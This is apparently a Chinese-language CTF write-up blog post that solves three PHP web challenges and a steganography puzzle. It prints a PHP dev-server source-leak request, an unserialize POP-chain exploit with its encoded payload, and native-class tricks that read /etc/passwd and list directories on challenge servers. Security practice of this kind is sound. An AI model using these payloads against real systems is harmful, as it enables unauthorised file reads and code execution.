本文最后更新于:2023年6月5日 下午
                  
                
              
            
            
              
                
                [TOC]
web
babyPHP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?phphighlight_file(__FILE__);
 error_reporting(0);
 
 $num = $_GET['num'];
 
 if (preg_match("/\'|\"|\`| |<|>|?|\^|%|\$/", $num)) {
 die("nononno");
 }
 
 if (eval("return ${num} != 2;") && $num == 0 && is_numeric($num) != true) {
 system('cat flag.php');
 } else {
 echo '2';
 }
 
 | 
仔细读题,主要考察php弱类型比较,我们可以直接传字母就行:
| 1
 | http://43.138.65.13:2025/?num=a
 | 
funnyPHP
我们访问的路径为:
| 1
 | http://47.104.14.160:3344/hint.php
 | 

当我们访问根目录时:
 
可以判断这里为: php Development Server 启动的服务

查询得知,这里考察的是 PHP<=7.4.21 Development Server源码泄露漏洞
| 12
 3
 4
 5
 6
 7
 
 | GET /puzzle.php HTTP/1.1 Host: pd.research
 \r\n
 \r\n
 GET / HTTP/1.1
 \r\n
 \r\n
 
 | 
当我们以如上方式发送数据包时,我们可以获得 puzzle.php 的源码:

使用bp时要注意,我们要把 自动填充 content-length关闭掉

源码如下:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 
 | <?phperror_reporting(0);
 
 class A{
 public $sdpc = ["welcome" => "yeah, something hidden."];
 
 function __call($name, $arguments)
 {
 $this->$name[$name]();
 }
 
 }
 
 
 class B{
 public $a;
 
 function __construct()
 {
 $this->a = new A();
 }
 
 function __toString()
 {
 echo $this->a->sdpc["welcome"];
 }
 
 }
 
 class C{
 public $b;
 protected $c;
 
 function __construct(){
 $this->c = new B();
 }
 
 function __destruct(){
 $this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c;
 }
 }
 
 class Evil{
 function getflag() {
 echo file_get_contents('/fl4g');
 }
 }
 
 
 if(isset($_POST['sdpc'])) {
 unserialize($_POST['sdpc']);
 } else {
 serialize(new C());
 }
 
 
 ?>
 
 | 
这是一个反序列化漏洞,我们可以如下构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 
 | <?phperror_reporting(0);
 
 class A
 {
 public $sdpc;
 
 function __construct() {
 $this->sdpc = array("sdpc" => array(new Evil(),'getflag'));
 }
 
 
 function __call($name, $arguments)
 {
 
 $name[$name]();
 }
 }
 
 
 class B
 {
 public $a;
 
 function __construct()
 {
 $this->a = new A();
 }
 
 function __toString()
 {
 echo $this->a->sdpc["welcome"];
 }
 }
 
 class C
 {
 public $b;
 protected $c;
 
 function __construct()
 {
 $this->c = new A();
 }
 
 function __destruct()
 {
 $this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c;
 }
 }
 
 class Evil
 {
 function getflag()
 {
 echo '1';
 file_get_contents('/fl4g');
 }
 }
 
 $ca = new A();
 $cb = new B();
 $cc = new C();
 
 $cc->b = 'sp4c1ous';
 
 
 echo urlencode(serialize($cc));
 
 | 
payload:
| 1
 | sdpc=O%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22b%22%3Bs%3A8%3A%22sp4c1ous%22%3Bs%3A4%3A%22%00%2A%00c%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A1%3A%7Bs%3A4%3A%22sdpc%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Evil%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22getflag%22%3B%7D%7D%7D%7D
 | 
这里有一个点:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | <?phpclass Evil
 {
 function getflag()
 {
 echo '1';
 
 }
 }
 print_r(array(new Evil(),'getflag')());
 
 
 | 
array(new Evil(),'getflag')() 
这样子相当于 Evil对象eval调用它的getflag()方法: eval::getflag()
这里不是很懂
Ezphp
| 12
 3
 4
 5
 6
 
 | <?phperror_reporting(0);
 highlight_file(__FILE__);
 $g = $_GET['g'];
 $t = $_GET['t'];
 echo new $g($t);
 
 | 
这个地方直接要我们创建对象,但是又没有自定义类,所以我们应该寻找php原生类
最初我想到的是 Error、Exception类,但是没什么用,可以用来执行xss漏洞
然后我找到了如下几个类:
遍历文件目录的类
- DirectoryIterator 
- FilesystemIterator 
- GlobIterator
1、DirectoryIterator:
会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
我们可以配合glob协议 模式匹配来寻找我们想要的文件路径:
| 12
 
 | http://43.138.65.13:2023/?g=DirectoryIterator&t=glob:///var/www/h*//回显:html
 
 | 
我们想要得到路径下所有的文件、目录,需要遍历输出:
| 12
 3
 4
 
 | $a = new DirectoryIterator("glob:///*");foreach($a as $f){
 echo($f->__toString().'<br>');
 }
 
 | 
2、FilesystemIterator:
和上面差不多:
| 12
 3
 4
 
 | $a = new FilesystemIterator("glob:///*");foreach($a as $f){
 echo($f->__toString().'<br>');
 }
 
 | 
3、Globlterator
与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。
在这个类中不需要配合glob伪协议,可以直接使用 传参直接给路径就行
读取文件内容的类:
SplFileObject
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作。
SplFileObject继承自 SplFileInfo
 
| 1
 | http://43.138.65.13:2023/?g=SplFileObject&t=/etc/passwd
 | 
读取到了 /etc/passwd 内容
这里我们可以结合php伪协议:

成功读取flag
相关文章
Misc
套娃
 
解压密码在最底下

打开txt文件,ZjRrM19rM3k= base64解密是一个假的key
我们滑倒txt文件最底下:

有一大堆不可见的东西,在记事本打开:

发现没有什么,这因该是零宽字符
零宽字符解密
 
XzFzX0U0NXk= 解密得到key:_1s_E45y
然后我们观察一下图片,猜测是 lsb隐写
 
但是 stegsolve 得到一串不知道什么得东西,我们猜测这是加密的lsb隐写,
我们可以使用 lsb隐写脚本: cloacked-pixel
结合之前我们得到的key,我们解密:
| 1
 | python2 lsb.py extract encode.png flag.txt _1s_E45y
 | 

得到flag